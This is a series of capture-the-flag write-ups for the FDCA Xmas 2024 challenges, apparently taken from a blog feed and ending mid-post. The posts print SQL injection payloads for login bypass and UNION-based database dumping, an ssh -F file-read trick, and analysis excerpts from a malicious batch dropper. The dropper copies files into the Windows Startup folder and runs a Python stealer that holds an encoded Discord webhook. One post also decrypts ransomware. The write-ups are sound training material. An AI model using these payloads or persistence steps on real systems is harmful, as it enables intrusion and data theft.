Going to the provided website (http://jættetracker.jul.fdca.dk:8080/), we are met by a login page:

I was able to login as Odin by using the following sql injection: odin' AND 1=1;--

I was then redirected to a page where I could search for giants:

I used the injections from HackTricks to get the database, table names, and column names:

1' UNION SELECT 1,2,group_concat(0x7c,schema_name,0x7c) FROM information_schema.schemata;--

Databases are: |information_schema|,|asgaard|

Lets look in asgaard:

1' UNION SELECT 1,2,group_concat(0x7c,table_name,0x7c) FROM information_schema.tables WHERE table_schema="asgaard";--

Tables are: |jaetter|,|guddommelige_noter|

So lets get columns from guddommelige_noter:

1' UNION SELECT 1,2,group_concat(0x7c,column_name,0x7c) FROM information_schema.columns WHERE table_name="guddommelige_noter";--

And the column are: |id|,|titel|,|tekst|

So lets leak the table data:

1' UNION SELECT id,titel,tekst FROM asgaard.guddommelige_noter;--

And we get flag: FDCA{N0rd1sk3_gud3r_sk4l_0gsaa_par4m4t3r1ze}

]]>FDCA Xmas 2024 Day 15 - No Command Here - Part 2https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-15-no-command-here-part-2/Tue, 24 Dec 2024 15:59:15 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-15-no-command-here-part-2/This is a continuation of No command Here - Part 1, we will be using the same private key and domain from that challenge. Challenge Description Danish (original) Din indsats med at aflure Loke’s tankeboks har været værdsat. Der er dog tegn på at denne tankeboks indeholder mere end bare Loke’s tanker. Han og Fenris har historisk været meget tætte, så vi er overbeviste om at Loke havde bare lidt adgang til Fenris egen tankeboks.This is a continuation of No command Here - Part 1, we will be using the same private key and domain from that challenge.

Challenge Description

Danish (original)

Din indsats med at aflure Loke’s tankeboks har været værdsat. Der er dog tegn på at denne tankeboks indeholder mere end bare Loke’s tanker. Han og Fenris har historisk været meget tætte, så vi er overbeviste om at Loke havde bare lidt adgang til Fenris egen tankeboks.

Vi regner med dig.

English (from chatgpt)

Your effort in deciphering Loki’s thought box has been appreciated. However, there are signs that this thought box contains more than just Loki’s thoughts. He and Fenrir have historically been very close, so we are convinced that Loki had at least some access to Fenrir’s own thought box.

We are counting on you.

Solution

Using the ls and cat utils from Part 1 we find and export five private keys:

bash$ ls .ssh
-bash: .ssh/authorized_keys: Permission denied
-bash: .ssh/fenrir.echo.priv: Permission denied
-bash: .ssh/fenrir.id.priv: Permission denied
-bash: .ssh/fenrir.ls.priv: Permission denied
-bash: .ssh/fenrir.pwd.priv: Permission denied
-bash: .ssh/fenrir.ssh.priv: Permission denied

Using fenrir.ls.priv we can list fenrir’s files:

$ ssh -p 2222 -i fenrir.ls.priv fenrir@jættenettet.dk
Contemplations.txt
Connection to jættenettet.dk closed.

$ ssh -p 2222 -i fenrir.ls.priv fenrir@jættenettet.dk .ssh
authorized_keys
vaultkey.encrypted
Connection to jættenettet.dk closed.

While trying to find a way to read vaultkey.encrypted I fell over this error:

$ ssh -p 2222 -i fenrir.ssh.priv fenrir@jættenettet.dk
Can't open user config file : No such file or directory
Connection to jættenettet.dk closed.

Looking at the ssh manpage and searching for user config, I found the -F flag, and looking at GTFOBins, we may be able to read files with it:

$ ssh -p 2222 -i fenrir.ssh.priv fenrir@jættenettet.dk .ssh/vaultkey.encrypted localhost
.ssh/vaultkey.encrypted line 1: no argument after keyword "fuws2ljnijcuoskoebhvarkoknjuqicqkjevmqkuiuqewrkzfuws2ljnbjrdgqtmmjxe46tbimyx"
[expunged for readability]
.ssh/vaultkey.encrypted: line 55: Bad configuration option: hu6quljnfuws2rkoiqqe6ucfjzjvgsbakbjesvsbkrcsas2flews2ljnfufa
.ssh/vaultkey.encrypted: terminating, 55 bad configuration options
Connection to jættenettet.dk closed.

Since vaultkey.encrypted only contains lowercase letters (a-z) and the numbers 2 to 7, it is properly not base64 encoded, but instead base32 (26 letters and 6 numbers). So decoding vaultkey.encrypted from base32 we get another private ssh key:

Using this key we get the flag:

$ ssh -p 2222 -i vaultkey.priv vault@jættenettet.dk
FDCA{S5H_B3_M4de_Quit3_Str1ct}
Connection to jættenettet.dk closed.
]]>FDCA Xmas 2024 Day 14 - No Command Here - Part 1https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-14-no-command-here-part-1/Tue, 24 Dec 2024 15:59:14 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-14-no-command-here-part-1/Challenge Description Danish (original) FDCA Special Ops har, siden vores første kontakt med Asgård, haft gang i en operation med at kortlægge Jættenettet. I går lykkedes det dem at identificere noget, der ligner en tankeboks fra Loke. De har fået opsnappet en fil som ser ud til at give adgang. Men da de allerede er fuldt optaget af deres nuværende operationer, håber vi at du kan finde noget interessant i tankeboksen.Challenge Description

Danish (original)

FDCA Special Ops har, siden vores første kontakt med Asgård, haft gang i en operation med at kortlægge Jættenettet. I går lykkedes det dem at identificere noget, der ligner en tankeboks fra Loke.

De har fået opsnappet en fil som ser ud til at give adgang. Men da de allerede er fuldt optaget af deres nuværende operationer, håber vi at du kan finde noget interessant i tankeboksen.

English (from chatgpt)

FDCA Special Ops has, since our first contact with Asgård, been conducting an operation to map the Giant Network. Yesterday, they succeeded in identifying something that looks like a thought box from Loki.

They managed to intercept a file that seems to grant access. But since they are already fully occupied with their current operations, we hope you can find something interesting in the thought box.

File

We are also given the following file:

Domain and port

In addition we are given a domain and port: jættenettet.dk:2222

Solution

The file is an openssh private key:

$ file loki.priv
loki.priv: OpenSSH private key

Using it to login over ssh we get a bash shell, but no commands work:

$ ssh -p 2222 -i loki.priv loki@jættenettet.dk
Oh no! Where's my commands?
bash$ ls
-bash: ls: No such file or directory
bash$ cat
-bash: cat: No such file or directory

So we need to find files and read them using builtin constructs, in my case I used for loops, globbing and having the error messages be the output:

bash$ function ls() {
>   for file in $1/*; do
>     $file
>   done
> }
bash$ function cat() {
>   for value in $(< $1); do
>     $value
>   done
> }
bash$ ls
-bash: /archive: Is a directory
-bash: /bin: Is a directory
-bash: /considerations.md: Permission denied
-bash: /credit.md: Permission denied
-bash: /etc: Is a directory
-bash: /lib: Is a directory
-bash: /lib64: Is a directory
-bash: /vault: Is a directory
bash$ ls vault
-bash: vault/flag.txt: Permission denied
bash$ cat vault/flag.txt
-bash: .: Is a directory
-bash: .: Is a directory
-bash: .: Is a directory
-bash: .: Is a directory
-bash: .: Is a directory
-bash: FDCA{Ba5h_Liter4te_y0u_ar3}: No such file or directory
-bash: .: Is a directory
-bash: .: Is a directory
-bash: .: Is a directory
-bash: .: Is a directory
-bash: .: Is a directory
]]>FDCA Xmas 2024 Day 13 - Hel's Key Hellhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-13-hels-key-hell/Tue, 24 Dec 2024 15:59:13 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-13-hels-key-hell/Challenge Description Danish (original) Vi har opsnappet et meget kryptisk signal mellem Hel og Loke. Det har dog vist sig besværligt at bryde deres Ase Existens Skjuler kryptering, selvom nøglen allerede stod deri, og ECB burde være easy at knække. Det er som om vi bare bliver ved med at få samme resultat, når vi prøver at dekryptere den. Måske du har bedre held med at knække signalet? English (from chatgpt) We have intercepted a very cryptic signal between Hel and Loki.Challenge Description

Danish (original)

Vi har opsnappet et meget kryptisk signal mellem Hel og Loke. Det har dog vist sig besværligt at bryde deres Ase Existens Skjuler kryptering, selvom nøglen allerede stod deri, og ECB burde være easy at knække. Det er som om vi bare bliver ved med at få samme resultat, når vi prøver at dekryptere den.

Måske du har bedre held med at knække signalet?

English (from chatgpt)

We have intercepted a very cryptic signal between Hel and Loki. However, it has proven difficult to break their Aesir Existence Hider encryption, even though the key was already in it, and the ECB should be easy to crack. It’s as if we keep getting the same result when we try to decrypt it.

Maybe you’ll have better luck cracking the signal?

File

We are also given the following file:

Solution

Unzipping the file we get a binary file with a key at the top then encrypted data:

$ 7z x signal.7z
[expunged for readability]

$ ls
signal.7z  suspicious_signal.bin

$ xxd -l 128 suspicious_signal.bin
00000000: 6b65 793d 4533 3041 3338 3136 3638 4646  key=E30A381668FF
00000010: 4436 4631 4345 3633 3443 3742 3538 4431  D6F1CE634C7B58D1
00000020: 3634 3332 3839 3930 3236 3741 3146 3132  64328990267A1F12
00000030: 3441 3338 3338 4639 4137 4541 3841 4430  4A3838F9A7EA8AD0
00000040: 4534 3634 0a93 41fc 0170 34df d97f aeea  E464..A..p4.....
00000050: 4d26 c74c 6080 a71c d4c7 7cbb f65f 435c  M&.L`.....|.._C\
00000060: 58d8 568f b1ff 88f5 48db 5218 e16f 5411  X.V.....H.R..oT.
00000070: e095 7f70 c93f 5583 306b 0988 df70 6671  ...p.?U.0k...pfq

From the challenge description it should encrypted using AES ECB mode:

from Crypto.Cipher import AES

with open('suspicious_signal.bin', 'rb') as fp:
  data = fp.read()

key, ciphertext = data.split(b'\n', maxsplit=1)
key = bytes.fromhex(key.decode().removeprefix('key='))

cipher = AES.new(key, AES.MODE_ECB)

plaintext = cipher.decrypt(ciphertext)

print(plaintext[:100])

Running the above code, we see that there is yet another layer of encryption:

$ python decrypt_once.py
b'key=BA05E2B072984133E10BA582EE8FF8531210109933423CBFA3AAA205108FEE52\nPp\x18\xdf\xc2]\xa8:\x8d?\x0f\x9c\xcf\x9c\xbb<\x1b\xeb\xe4U\xc9\x18\xb4\xa0\ny\x08\xbf\xad\x12\x0f'

So lets make a script that unpacks the encryption layer by layer til we get to end:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('suspicious_signal.bin', 'rb') as fp:
    signal = fp.read()


def decrypt_layer(data: bytes) -> bytes:
    key, part = data.split(b'\n', maxsplit=1)
    key = bytes.fromhex(key.decode())

    cipher = AES.new(key, AES.MODE_ECB)
    return unpad(cipher.decrypt(part), 16)


while signal.startswith(b'key='):
    signal = decrypt_layer(signal.removeprefix(b'key='))

print(signal)

$ python solve.py
b'FDCA{B3tter_don3_tha7_aut0matic4lly}\n'
]]>FDCA Xmas 2024 Day 12 - Jættelatterens hemmelighedhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-12-j%C3%A6ttelatterens-hemmelighed/Tue, 24 Dec 2024 15:59:12 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-12-j%C3%A6ttelatterens-hemmelighed/Challenge Description Danish (original) I en skjult dal i Asgård har jætterne udviklet en algoritme, som de hævder er uigennemtrængelig. Vi har fået adgang til nogle filer på tilforladelige måder. Herunder det output, der var på skærmen, da jætterne krypterede en vigtig besked. Vi har desværre ikke nogen der er kyndige i jættekode. Måske du kan cracke deres kryptering? English (from chatgpt) In a hidden valley in Asgard, the giants have developed an algorithm that they claim is impenetrable.Challenge Description

Danish (original)

I en skjult dal i Asgård har jætterne udviklet en algoritme, som de hævder er uigennemtrængelig. Vi har fået adgang til nogle filer på tilforladelige måder. Herunder det output, der var på skærmen, da jætterne krypterede en vigtig besked.

Vi har desværre ikke nogen der er kyndige i jættekode. Måske du kan cracke deres kryptering?

English (from chatgpt)

In a hidden valley in Asgard, the giants have developed an algorithm that they claim is impenetrable. We have gained access to some files through reliable means. Below is the output that appeared on the screen when the giants encrypted an important message.

Unfortunately, we don’t have anyone skilled in giant code. Maybe you can crack their encryption?

File

We are also given the following file:

Solution

Unzipping the file we see that it contains two python scripts, two binary files and some output:

$ unzip filedump.zip
Archive:  filedump.zip
  inflating: cipher.bin
  inflating: encryption_output.txt
  inflating: encrypt.py
  inflating: iv.bin
  inflating: jaette_random_tools.py

$ cat encryption_output.txt
Secret jætte-key: 
De kommer aldrig igennem vores avancerede krypteringsalgoritme
HuihuheHiihaHeehheHiihaHaeHaaahaHiihaHohhaoHuooHyu
iv.bin not found, creating a default one

Encryption complete and written to 'cipher.bin'

Looking at encrypt.py we can see how the flag is encrypted:

from jaette_random_tools import ThorLCG, JaetteAES
import getpass
import hashlib


# Initialize the LCG with exposed parameters
a = 1664525
c = 1013904223
m = 2**32
password = getpass.getpass("Secret jætte-key: ")
seed = int(hashlib.sha256(password.encode()).hexdigest(), 16) % m
rng = ThorLCG(seed, a=a, c=c, m=m)

# Post signature jætte laugh, but make it random to make it more scary
laughparts = [
    "Haaaha",
    "Heehhe",
    "Hiiha",
    "Ha",
    "Huihuhe",
    "Hae",
    "Huoo",
    "Hohhao",
    "Hua",
    "Hyu",
]

print("De kommer aldrig igennem vores avancerede krypteringsalgoritme")

laugh_seed = rng.next()
print("".join([laughparts[int(l)] for l in str(laugh_seed)]))

# Generate a secret key
key = bytes([rng.get_random_byte() for _ in range(16)])  # 128-bit key

# Check that an iv.bin file is present, otherwise make one
try:
    with open("iv.bin", "rb") as iv_file:
        iv = iv_file.read()
except FileNotFoundError:
    print("iv.bin not found, creating a default one")
    # Create a default 
    iv = bytes(rng.get_random_byte() for _ in range(16))
    with open("iv.bin", "wb") as iv_file:
        iv_file.write(iv)

# Encrypt a super secret message using the secret key
with open("message.txt", "r") as message_input_file:
    payload = message_input_file.read()
cipher = JaetteAES(key)
ciphertext = cipher.encrypt(payload)

# Save the ciphertext to a file to be shared with jætte receivers
with open("cipher.bin", "wb") as cipher_file:
    cipher_file.write(ciphertext)

print("\nEncryption complete and written to 'cipher.bin'")

Since the key is generated by pulling values from the rng, breaking this randomness generator could let us generate the same key. We dont have the original seed because that is taken in by getpass.

But since the laugh from the output is also generated by a rng value we may be able to recover it and use it to recreate the values for the key.

From the name ThorLCG, we know that it is a Linear congruential generator and these are NOT cryptographically secure.

Looking at the implementation of ThorLCG from jaette_random_tools.py we can see that it is changing its state using a, c, and m that we know from encrypt.py and then returning the new state:

class ThorLCG:
    """
    Thor's Linear Congruent Generator for generating thunderous random numbers.
    Harness the power of Mjölnir.
    """
    def __init__(self, seed, a, c, m):
        self.state = seed
        self.a = a
        self.c = c
        self.m = m

    def next(self):
        self.state = (self.a * self.state + self.c) % self.m
        return self.state

    def get_random_byte(self):
        """Return a random byte (0-255)"""
        return self.next() % 256

So reversing the laugh will give us a state that we can then begin a new ThorLCG with as the initial state and the next values should then be the same as the ones used to generate the key, and then decrypt cipher.bin.

My solve script:

from jaette_random_tools import ThorLCG, JaetteAES
import re

a = 1664525
c = 1013904223
m = 2**32

laughs = re.split(
    '(H[^H]*)',
    "HuihuheHiihaHeehheHiihaHaeHaaahaHiihaHohhaoHuooHyu"
)[1::2]

laughparts = [
    "Haaaha",
    "Heehhe",
    "Hiiha",
    "Ha",
    "Huihuhe",
    "Hae",
    "Huoo",
    "Hohhao",
    "Hua",
    "Hyu",
]

laugh_seed = 0

for laugh in laughs:
    laugh_seed *= 10
    laugh_seed += laughparts.index(laugh)

rng = ThorLCG(laugh_seed, a=a, c=c, m=m)

key = bytes([rng.get_random_byte() for _ in range(16)])

with open('cipher.bin', 'rb') as cipher_file:
    ciphertext = cipher_file.read()

cipher = JaetteAES(key)
plaintext = cipher.decrypt(ciphertext)

print(plaintext)

And running my solve script we get the flag:

$ python solve.py
Alle Jættestyrker: Husk nu at bruge en god random number generator!
FDCA{YOU_BROKE_THE_RNG}
]]>FDCA Xmas 2024 Day 11 - Duckfuscationhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-11-duckfuscation/Tue, 24 Dec 2024 15:59:11 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-11-duckfuscation/Challenge Description Danish (original) Vi har modtaget efterretninger om, at dele af vores hemmelige kildekode samt adgangskoder er blevet sat til salg på darkweb. Som led i efterforskningen har vi afhørt vores udvikler &ldquo;Loke&rdquo; og beslaglagt hans workstation til nærmere undersøgelse. Under afhøringen var Loke ikke til stor hjælp; han snakkede konstant om Django, og til sidst var det kun et spørgsmål om sekunder, før IR-holdet, der udførte afhøringen, ville ty til andre metoder for at få ham til at tale.Challenge Description

Danish (original)

Vi har modtaget efterretninger om, at dele af vores hemmelige kildekode samt adgangskoder er blevet sat til salg på darkweb. Som led i efterforskningen har vi afhørt vores udvikler “Loke” og beslaglagt hans workstation til nærmere undersøgelse.

Under afhøringen var Loke ikke til stor hjælp; han snakkede konstant om Django, og til sidst var det kun et spørgsmål om sekunder, før IR-holdet, der udførte afhøringen, ville ty til andre metoder for at få ham til at tale. Heldigvis nævnte han dog en detalje, som de formoder er et vigtigt led i efterforskningen. Han nævnte at han engang havde hentet en Python-dependency fra en uofficiel kilde.

Selvom han syntes, det var mistænkeligt, at filerne var pakket i en zip-fil med en adgangskode, blev han beroliget, da kilden allerede havde givet ham koden: “123”.

Loke’s workstation er et digitalt kaos af kode, filer og rod, hvilket har resulteret i at IR holdet nægtede at undersøge den. Kan du hjælpe os med at gennemgå den og finde ud af, hvad der er sket? Vi advarer dog – det er ikke en opgave for de svagelige…

English (from chatgpt)

We have received intelligence that parts of our secret source code and passwords have been put up for sale on the dark web. As part of the investigation, we have interrogated our developer “Loke” and seized his workstation for further examination.

During the interrogation, Loke was not very helpful; he kept talking about Django, and eventually, it was only a matter of seconds before the IR team conducting the interrogation would resort to other methods to make him talk. However, fortunately, he did mention a detail that they believe is a key piece of the investigation. He mentioned that he had once downloaded a Python dependency from an unofficial source.

Although he found it suspicious that the files were packed in a zip file with a password, he was reassured since the source had already given him the code: “123”.

Loke’s workstation is a digital chaos of code, files, and clutter, which led the IR team to refuse to investigate it. Can you help us go through it and figure out what happened? However, be warned – this is not a task for the faint of heart…

File

We are also given the following file:

Solution

Opening the file using autopsy and looking around for a bit I found PythonExtendedLibrary_v4.3.1.zip and the unpacked folder it created.

The full path to the folder is:

C:\Users\dev\Downloads\PythonExtendedLibrary_v4.3.1\PythonExtendedLibrary_v4.3.1\

Looking through the PythonExtendedLibraryInstaller_v4.3.1.bat in this folder we find a call to another batch file:

[expunged for readability]
REM         raise ValueError("Binary string can only contain '0' and '1' characters.")
start /min "" .\conf\project_template.bat
ping 127.0.0.1 -n 3 > nul
[expunged for readability]

And following the tail of bread crumbs to .\conf\project_template.bat we find yet another call to a batch file:

[expunged for readability]
REM     str: The XML representation of the binary string.
start /min "" .\conf\lib\flatpages\0001_failover.bat
ping 127.0.0.1 -n 1 > nul
[expunged for readability]

In .\conf\lib\flatpages\0001_failover.bat we see two interesting sections:

[expunged for readability]
REM     REM //A nullable int? with 80% probability of being null.
ROBOCOPY ".\ISO\userprofiles\storage" "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" /MIR > nul
REM public enum Gender
[expunged for readability]
REM     str: The XML representation of the binary string.
start "" pythonw "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\python_runtime.pyw"
REM     .RuleFor(o => o.Description, f => f.Commerce.ProductAdjective()); REM // New Rule
[expunged for readability]

So it copies all files from the .\ISO\userprofiles\storage folder into the user’s startup folder and then runs the python_runtime.pyw that was put there, so lets look at .\ISO\userprofiles\storage\python_runtime.pyw:

[expunged for readability]
SEND_REPORT_EVERY=30
WEBHOOK='aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMwMjcwNDU1MTAyMzc2MjgyMy93M0hqWURfRkRDQXtweTdoMG5fazN5MTA5OTMyX2QxNWMwMmRfM3hmMTF9'
def main():
[expunged for readability]

The python script does alot, but for the purpose of getting the flag I have cut it down to the WEBHOOK constant, when decoded from base64 it gives us:

$ WEBHOOK='aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMwMjcwNDU1MTAyMzc2MjgyMy93M0hqWURfRkRDQXtweTdoMG5fazN5MTA5OTMyX2QxNWMwMmRfM3hmMTF9'
$ echo $WEBHOOK | base64 -d
https://discord.com/api/webhooks/1302704551023762823/w3HjYD_FDCA{py7h0n_k3y109932_d15c02d_3xf11}

And so the flag is FDCA{py7h0n_k3y109932_d15c02d_3xf11}

]]>FDCA Xmas 2024 Day 10 - The Jotun Lockdownhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-10-the-jotun-lockdown/Tue, 24 Dec 2024 15:59:10 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-10-the-jotun-lockdown/Challenge Description Danish (original) Jætterne har forvoldt kaos i Asgaard ved at hacke en vigtig server og krypteret essentielle filer med deres ransomware. De kræver løsepenge for at frigive dem, men heldigvis har de lavet fejl i deres kode, som gør den langt fra uigennemtrængelig. Under undersøgelsen blev både ransomware-programmet og en krypteret fil fundet. Advarsel: Ransomware-programmet er live-malware og kan udføre skadelige handlinger. Undersøg det kun i et sikkert og isoleret miljø, eksempelvis en virtuel maskine uden netværksforbindelse.Challenge Description

Danish (original)

Jætterne har forvoldt kaos i Asgaard ved at hacke en vigtig server og krypteret essentielle filer med deres ransomware. De kræver løsepenge for at frigive dem, men heldigvis har de lavet fejl i deres kode, som gør den langt fra uigennemtrængelig.

Under undersøgelsen blev både ransomware-programmet og en krypteret fil fundet.

Advarsel: Ransomware-programmet er live-malware og kan udføre skadelige handlinger. Undersøg det kun i et sikkert og isoleret miljø, eksempelvis en virtuel maskine uden netværksforbindelse.

English (from chatgpt)

The giants have caused chaos in Asgard by hacking an important server and encrypting essential files with their ransomware. They are demanding a ransom to release them, but fortunately, they made mistakes in their code, making it far from impenetrable.

During the investigation, both the ransomware program and an encrypted file were found.

Warning: The ransomware program is live malware and can perform harmful actions. Only examine it in a secure and isolated environment, such as a virtual machine without a network connection.

File

We are also given the following file:

Password: infected

Solution

Unzipping the file we get an exe and the encrypted file:

$ unzip Ragnarok.zip
Archive: Ragnarok.zip
[Ragnarok.zip] Ragnarok/flag.txt.ragnarok password:
 extracting: Ragnarok/flag.txt.ragnarok
  inflating: Ragnarok/Ragnarok.exe

Using cutter I found the following code section in fcn.00401160:

for (var_20h = 0; (uint32_t)var_20h < var_14h; var_20h = var_20h + 1) {
  *(char *)(var_18h + var_20h) =
    (char)(((int32_t)*(char *)(var_18h + var_20h)
    + (int32_t)"Jotunheim"[(uint32_t)var_20h % 9]
    ) % 0x100);
}

So doing the inverse gives us the flag:

with open('flag.txt.ragnarok', 'rb') as fp:
  encflag = fp.read()

decflag = b''
for i, c in enumerate(encflag):
  decflag += ((c - b'Jotunheim'[i % 9]) % 0x100).to_bytes(1, 'big')

print(decflag)

$ python solve.py
b'FDCA{n0_r4ns0m_4_j07un}'
]]>FDCA Xmas 2024 Day 9 - Thors Digitale Løsninghttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-9-thors-digitale-l%C3%B8sning/Tue, 24 Dec 2024 15:59:09 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-9-thors-digitale-l%C3%B8sning/Challenge Description Danish (original) Efter Thors debut på sociale medier har han mistet interessen i at styre vejrforholdene i Midgård. Der er simpelthen alt for mange andre ting som han skal tage sig af. Han har derfor valgt at finde en digital løsning og har downloadet et program, som kan hjælpe ham med at bestemme, hvordan vejret skal være på en given dag. Odin er ikke tilfreds med situationen og har samtidig mistanke om, at jætterne kan være involveret.Challenge Description

Danish (original)

Efter Thors debut på sociale medier har han mistet interessen i at styre vejrforholdene i Midgård. Der er simpelthen alt for mange andre ting som han skal tage sig af. Han har derfor valgt at finde en digital løsning og har downloadet et program, som kan hjælpe ham med at bestemme, hvordan vejret skal være på en given dag.

Odin er ikke tilfreds med situationen og har samtidig mistanke om, at jætterne kan være involveret. Derfor har Odin bedt dig undersøge programmet nærmere.

(Der er ingen malware i filen)

English (from chatgpt)

After Thor’s debut on social media, he has lost interest in controlling the weather in Midgard. There are simply too many other things he has to take care of. He has therefore chosen to find a digital solution and has downloaded a program that can help him decide what the weather should be like on a given day.

Odin is not happy with the situation and also suspects that the giants might be involved. Therefore, Odin has asked you to investigate the program further.

(There is no malware in the file.)

File

We are also given the following file:

Solution

Inside the 7z archive is an exe file:

$ 7z x WeatherMachine.7z
[expunged for readability]

$ ls -l WeatherMachine.exe
-rw-r--r-- 1 osiriz osiriz 28672 Dec  7 21:41 WeatherMachine.exe

$ file WeatherMachine.exe
WeatherMachine.exe: PE32+ executable for MS Windows 6.00 (console), x86-64, 6 sections

Running strings I found what something in the form of a flag:

$ strings WeatherMachine.exe
[expunged for readability]
"If at first you don't succeed, try, try again."
SQPN{XINAGVGRG_E_XINYVGRG}
Available moods:
[expunged for readability]

“Decrypting” this with rot13, we get: FDCA{KVANTITET_R_KVALITET}

]]>FDCA Xmas 2024 Day 8 - Odin's hemmelige beskedhttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-8-odins-hemmelige-besked/Tue, 24 Dec 2024 15:59:08 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-8-odins-hemmelige-besked/Challenge Description Danish (original) Heimdall har forsøgt at sende en besked til Odin. Dog er filen kommet i de forkerte hænder og måske har jætterne pillet lidt ved filen. Odin har aldrig modtaget filen. Måske du kan hjælpe med at finde ud af hvorfor filen ikke virker? og hvad er det helt præcist er blevet sendt fra Heimdall til Odin? English (from chatgpt) Heimdall tried to send a message to Odin.Challenge Description

Danish (original)

Heimdall har forsøgt at sende en besked til Odin. Dog er filen kommet i de forkerte hænder og måske har jætterne pillet lidt ved filen. Odin har aldrig modtaget filen. Måske du kan hjælpe med at finde ud af hvorfor filen ikke virker? og hvad er det helt præcist er blevet sendt fra Heimdall til Odin?

English (from chatgpt)

Heimdall tried to send a message to Odin. However, the file ended up in the wrong hands, and maybe the giants have tampered with it a bit. Odin never received the file. Perhaps you can help figure out why the file isn’t working? And what exactly was sent from Heimdall to Odin?

File

We are also given the following file:

Solution

Inside the 7z archive is a wav file, but something is wrong with it:

$ 7z x heimdallbesked.7z
[expunged for readability]

$ ls -l heimdallbesked.wav
-rw-r--r-- 1 osiriz osiriz 7329464 Dec  8 01:57 heimdallbesked.wav

$ file heimdallbesked.wav
heimdallbesked.wav: data

Looking at the header in hex and comparing with wikipedia, we can see that the nibbles of each bytes seems to be reversed:

$ xxd heimdallbesked.wav | head -n1
00000000: 2594 6464 b0d6 6f00 7514 6556 666d 7420  %.dd..o.u.eVfmt

So we fix that:

$ hexedit heimdall.wav
$ xxd heimdallbesked.wav | head -n1
00000000: 5249 4646 0b6d f600 5741 5645 666d 7420  RIFF.m..WAVEfmt

$ file heimdallbesked.wav
heimdallbesked.wav: RIFF (little endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz

The file sounds like morse code so using this Morse Code Adaptive Audio Decoder, we get the following:

H E I M D A L L S P R V E D E T A T E S C A N N E G P O R T E N E A T I L N B I F R O S T, O M E N G B L E V R H U R T I G T A B A N N E D P F O R H A T Y L A V E X A L T Y F O R Z M E G E T L A R M+

This forms a sentece with some letters inbetween the words.

The sentence:

heimdall pr[ø]vede at scanne portene til bifrost, men blev hurtigt banned for at lave alt for meget larm.

The letters inbetween:

steganographyxyz

This is a hint that the flag is hidden by steganography, so I tried a lot of different ways here, but ended up with stegolsb wavsteg:

$ stego wavsteg -r -i heimdallbesked.wav -o output.txt -b 30
Files read                     in 0.00s
Recovered 30 bytes             in 0.00s
Written output file            in 0.00s

$ cat output.txt
FDCA{Th0r_H4r_3N_S7Or_H4MM3R}
]]>FDCA Xmas 2024 Day 7 - Sukkerkolde Cyberkrigerehttps://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-7-sukkerkolde-cyberkrigere/Tue, 24 Dec 2024 15:59:07 +0100https://osiriz.dev/posts/2024/12/fdca-xmas-2024-day-7-sukkerkolde-cyberkrigere/Challenge Description Danish (original) Cyber-Operations Command Centeret er efter flere dages hårdt arbejde gået fuldstændig sukkerkold, så kokken Andrimner finder dokumentet med æbleskivernes lokation frem fra skuffen - men hov! Jætterne har tilsyneladende krypteret teksten!? Heldigvis finder Andrimner krypteringsrunerne, som skurkene i deres hast ud af køkkenets server har tabt i filsystemet. Kan du dekryptere æbleskiver.runes? English (from chatgpt) The Cyber-Operations Command Center has gone completely sugar-sweet after several days of hard work, so the chef Andrimner pulls the document with the location of the æbleskivers from the drawer – but wait!Challenge Description

Danish (original)

Cyber-Operations Command Centeret er efter flere dages hårdt arbejde gået fuldstændig sukkerkold, så kokken Andrimner finder dokumentet med æbleskivernes lokation frem fra skuffen - men hov! Jætterne har tilsyneladende krypteret teksten!? Heldigvis finder Andrimner krypteringsrunerne, som skurkene i deres hast ud af køkkenets server har tabt i filsystemet.

Kan du dekryptere æbleskiver.runes?

English (from chatgpt)

The Cyber-Operations Command Center has gone completely sugar-sweet after several days of hard work, so the chef Andrimner pulls the document with the location of the æbleskivers from the drawer – but wait! It seems the giants have encrypted the text!? Fortunately, Andrimner finds the encryption runes that the villains hastily dropped in the file system as they rushed out of the kitchen’s server.

Can you decrypt æbleskiver.runes?

File

We are also given the following file:

Solution

Unzipping the file we can see that we have a dll file and a file with base64:

$ unzip JettEncrypt.dll_aebleskiver.runes.zip
Archive:  JettEncrypt.dll_aebleskiver.runes.zip
  inflating: æbleskiver.runes
  inflating: JettEncrypt.dll

$ cat æbleskiver.runes
uru8voW7zNK0zpi4zY3SltOSqsqQzLOXzc6yggAAAAA=

Using AvaloniaILSpy on the dll we can see how the flag was encrypted:

// JettEncrypt.Encryptor
using System;
using System.Text;

public static string encrypt(string ymir)
{
	byte[] array = new byte[32];
	Array.Copy(Encoding.UTF8.GetBytes(ymir), array, ymir.Length);
	byte[] array2 = new byte[32];
	for (int i = 0; i < 8; i++)
	{
		byte[] array3 = new byte[4];
		Array.Copy(array, i * 4, array3, 0, 4);
		Array.Copy(BitConverter.GetBytes(-BitConverter.ToInt32(array3, 0)), 0, array2, i * 4, 4);
	}
	return Convert.ToBase64String(array2);
}

So I made the following c-code to reverse it:

#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>

union Section {
	int32_t i;
	char s[5];
};

int main(int argc, char *argv[]) {
	union Section sections[8];

	for (size_t k = 0; k < 8; k++) {
		strncpy(sections[k].s, argv[1] + k*4, 4);
		sections[k].i = -sections[k].i;
		printf("%s", sections[k].s);
	}

	return 0;
}

And ran it as follows:

$ gcc solve.c -o solve
